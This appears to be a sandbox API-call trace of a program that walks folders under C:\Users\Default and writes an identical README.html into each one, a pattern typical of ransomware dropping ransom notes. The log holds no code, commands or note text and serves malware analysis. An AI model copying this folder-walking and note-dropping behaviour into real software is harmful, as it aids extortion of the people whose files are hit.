	[0082.643] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.645] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.645] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1
	[0082.645] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~2.URL")) returned 1
	[0082.645] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Mail.url", cAlternateFileName="WINDOW~1.URL")) returned 1
	[0082.645] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 1
	[0082.645] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.645] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.646] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\default\\favorites\\windows live\\get windows live.url"), fInfoLevelId=0x0, lpFileInformation=0x123fd2c8 | out: lpFileInformation=0x123fd2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1
	[0082.647] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live gallery.url"), fInfoLevelId=0x0, lpFileInformation=0x123fd318 | out: lpFileInformation=0x123fd318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1
	[0082.647] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live mail.url"), fInfoLevelId=0x0, lpFileInformation=0x123fd368 | out: lpFileInformation=0x123fd368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1
	[0082.647] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live spaces.url"), fInfoLevelId=0x0, lpFileInformation=0x123fd3b8 | out: lpFileInformation=0x123fd3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1
	[0082.647] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\desktop.ini" (normalized: "c:\\users\\default\\favorites\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123fd408 | out: lpFileInformation=0x123fd408*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x192)) returned 1
	[0082.647] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Links" (normalized: "c:\\users\\default\\links"), fInfoLevelId=0x0, lpFileInformation=0x123fd458 | out: lpFileInformation=0x123fd458*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.648] CreateFileW (lpFileName="C:\\Users\\Default\\Links" (normalized: "c:\\users\\default\\links"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.648] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Links\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.649] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.649] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0082.649] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1
	[0082.649] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1
	[0082.649] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1
	[0082.649] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.649] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.650] CreateFileW (lpFileName="C:\\Users\\Default\\Links\\README.html" (normalized: "c:\\users\\default\\links\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0082.652] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed94 | out: lpMode=0x127eed94) returned 0
	[0082.652] WriteFile (in: hFile=0xc0, lpBuffer=0x127e6580*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed84, lpOverlapped=0x0 | out: lpBuffer=0x127e6580*, lpNumberOfBytesWritten=0x127eed84*=0xc5a, lpOverlapped=0x0) returned 1
	[0082.653] CloseHandle (hObject=0xc0) returned 1
	[0082.653] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12390540*, nNumberOfCharsToWrite=0x31, lpNumberOfCharsWritten=0x127ee914, lpReserved=0x0 | out: lpBuffer=0x12390540*, lpNumberOfCharsWritten=0x127ee914*=0x31) returned 1
	[0082.654] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Links\\Desktop.lnk" (normalized: "c:\\users\\default\\links\\desktop.lnk"), fInfoLevelId=0x0, lpFileInformation=0x123fd5e8 | out: lpFileInformation=0x123fd5e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1d3)) returned 1
	[0082.654] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Links\\Downloads.lnk" (normalized: "c:\\users\\default\\links\\downloads.lnk"), fInfoLevelId=0x0, lpFileInformation=0x123fd638 | out: lpFileInformation=0x123fd638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x37e)) returned 1
	[0082.654] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Links\\RecentPlaces.lnk" (normalized: "c:\\users\\default\\links\\recentplaces.lnk"), fInfoLevelId=0x0, lpFileInformation=0x123fd688 | out: lpFileInformation=0x123fd688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x16b)) returned 1
	[0082.655] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Links\\desktop.ini" (normalized: "c:\\users\\default\\links\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123fd6d8 | out: lpFileInformation=0x123fd6d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x244)) returned 1
	[0082.655] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Local Settings" (normalized: "c:\\users\\default\\local settings"), fInfoLevelId=0x0, lpFileInformation=0x123fd728 | out: lpFileInformation=0x123fd728*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.655] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Music" (normalized: "c:\\users\\default\\music"), fInfoLevelId=0x0, lpFileInformation=0x123fd778 | out: lpFileInformation=0x123fd778*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.655] CreateFileW (lpFileName="C:\\Users\\Default\\Music" (normalized: "c:\\users\\default\\music"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.655] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Music\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.655] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.655] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0082.655] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.655] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.656] CreateFileW (lpFileName="C:\\Users\\Default\\Music\\README.html" (normalized: "c:\\users\\default\\music\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0082.656] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed94 | out: lpMode=0x127eed94) returned 0
	[0082.656] WriteFile (in: hFile=0xc0, lpBuffer=0x127e7200*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed84, lpOverlapped=0x0 | out: lpBuffer=0x127e7200*, lpNumberOfBytesWritten=0x127eed84*=0xc5a, lpOverlapped=0x0) returned 1
	[0082.657] CloseHandle (hObject=0xc0) returned 1
	[0082.657] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123905b0*, nNumberOfCharsToWrite=0x31, lpNumberOfCharsWritten=0x127ee914, lpReserved=0x0 | out: lpBuffer=0x123905b0*, lpNumberOfCharsWritten=0x127ee914*=0x31) returned 1
	[0082.658] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Music\\desktop.ini" (normalized: "c:\\users\\default\\music\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123fd818 | out: lpFileInformation=0x123fd818*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8)) returned 1
	[0082.658] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\My Documents" (normalized: "c:\\users\\default\\my documents"), fInfoLevelId=0x0, lpFileInformation=0x123fd868 | out: lpFileInformation=0x123fd868*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.658] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\NTUSER.DAT" (normalized: "c:\\users\\default\\ntuser.dat"), fInfoLevelId=0x0, lpFileInformation=0x123fd8b8 | out: lpFileInformation=0x123fd8b8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x6770de0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x6770de0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xc0000)) returned 1
	[0082.659] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\NTUSER.DAT.LOG" (normalized: "c:\\users\\default\\ntuser.dat.log"), fInfoLevelId=0x0, lpFileInformation=0x123fd908 | out: lpFileInformation=0x123fd908*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xc103692e, ftCreationTime.dwHighDateTime=0x1ca0451, ftLastAccessTime.dwLowDateTime=0x1dd1880d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1dd1880d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x400)) returned 1
	[0082.659] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\NTUSER.DAT.LOG1" (normalized: "c:\\users\\default\\ntuser.dat.log1"), fInfoLevelId=0x0, lpFileInformation=0x123fd958 | out: lpFileInformation=0x123fd958*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9012aa61, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x674ac80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2e400)) returned 1
	[0082.659] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\NTUSER.DAT.LOG2" (normalized: "c:\\users\\default\\ntuser.dat.log2"), fInfoLevelId=0x0, lpFileInformation=0x123fd9a8 | out: lpFileInformation=0x123fd9a8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9012aa61, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9012aa61, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.659] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" (normalized: "c:\\users\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tm.blf"), fInfoLevelId=0x0, lpFileInformation=0x123fd9f8 | out: lpFileInformation=0x123fd9f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8d30919, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8d30919, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8ead6dc, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x10000)) returned 1
	[0082.660] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000001.regtrans-ms"), fInfoLevelId=0x0, lpFileInformation=0x123fda48 | out: lpFileInformation=0x123fda48*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8da2d3a, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8da2d3a, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8e8757c, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x80000)) returned 1
	[0082.660] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000002.regtrans-ms"), fInfoLevelId=0x0, lpFileInformation=0x123fda98 | out: lpFileInformation=0x123fda98*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8deeffb, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8deeffb, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8ead6dc, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x80000)) returned 1
	[0082.660] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\NetHood" (normalized: "c:\\users\\default\\nethood"), fInfoLevelId=0x0, lpFileInformation=0x123fdae8 | out: lpFileInformation=0x123fdae8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
